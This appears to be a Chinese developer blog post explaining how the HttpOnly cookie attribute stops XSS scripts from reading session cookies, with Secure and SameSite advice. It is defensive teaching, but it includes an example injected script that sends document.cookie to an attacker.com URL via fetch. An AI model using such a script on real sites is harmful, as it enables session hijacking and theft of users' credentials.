HttpOnly 是怎么防止 XSS 攻击的?

1. 什么是 XSS(跨站脚本攻击)

XSS(Cross-Site Scripting) 是一种常见的前端安全漏洞。攻击者通过在网页中注入恶意 JavaScript 代码,借此窃取用户敏感信息或劫持用户会话。常被窃取的目标包括:

  • 登录用的 token / session ID
  • 用户的 Cookie
  • 页面上的隐私数据(表单内容、个人信息等)

示例(攻击者注入的脚本):

html 复制代码
<script>
  // 将当前页面的 cookie 发到攻击者服务器
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

这个脚本直接读取 document.cookie 并把值发送出去,因此如果会话凭证存储在普通 cookie 或可被 JS 访问的存储中(如 localStorage),就会被窃取。


2. 设置 HttpOnly 后的防护效果

如果将敏感的 token(比如 refresh_token)以 cookie 形式存储,并在服务端设置 HttpOnly 属性,例如:

复制代码
Set-Cookie: refresh_token=abc123; HttpOnly; Secure; SameSite=Strict

则表示:

  • 浏览器禁止 JavaScript 访问该 cookie (即不会将其暴露给 document.cookie)。
  • 因此,即使页面被 XSS 脚本注入,攻击者也无法通过脚本读取该 cookie 的值,从而有效防止凭证被直接窃取。

需要注意的是:

  • HttpOnly 阻止的是JavaScript 读取 Cookie 的能力,但浏览器在发起请求时仍会自动带上该 Cookie(正常的后端鉴权仍然有效)。
  • 为了更全面防护,建议同时使用 Secure(仅 HTTPS 传输)和 SameSite(防 CSRF)等属性,并结合输入校验、输出转义等手段防止 XSS 植入。

小结

  • 未设置 HttpOnly 的 Cookie :可被 document.cookie 读取,易被 XSS 窃取。
  • 设置 HttpOnly 的 Cookie:不可被 JavaScript 读取,能有效阻断 XSS 对凭证的直接窃取。
  • 但 HttpOnly 不是万能:仍需配合 HTTPS、SameSite、CSRF Token、严格的输入输出过滤等安全措施,构建多层防护体系。

相关推荐
禅思院1 分钟前
使用 VueUse 构建一个支持暂停/重置的 CountUp 组件
前端·vue.js·架构
薛定e的猫咪10 分钟前
2026 年 4 月实测:OpenAI Codex 保姆级教程,从安装到 MCP、Skills 与多智能体协作
前端·数据库·人工智能
I love studying!!!14 分钟前
Web应用程序:用户账户
前端·数据库·sqlite
whuhewei14 分钟前
React性能优化
前端·react.js·性能优化
m0_7381207215 分钟前
渗透知识ctfshow——Web应用安全与防护(三)
android·前端·安全
下北沢美食家25 分钟前
React面试题2
前端·react.js·前端框架
摇滚侠31 分钟前
HTML CSS 演示小米 logo 的变化 border-radius 属性设置圆角
前端·css·html
❆VE❆32 分钟前
虚拟列表原理与实战运用场景详解
前端·javascript·css·vue.js·html·虚拟列表
weixin_4080996734 分钟前
【实战教程】EasyClick 调用 OCR 文字识别 API(自动识别屏幕文字 + 完整示例代码)
前端·人工智能·后端·ocr·api·安卓·easyclick
Bigger37 分钟前
第四章:我是如何扒开 Claude Code 记忆与上下文压缩机制的
前端·claude·源码阅读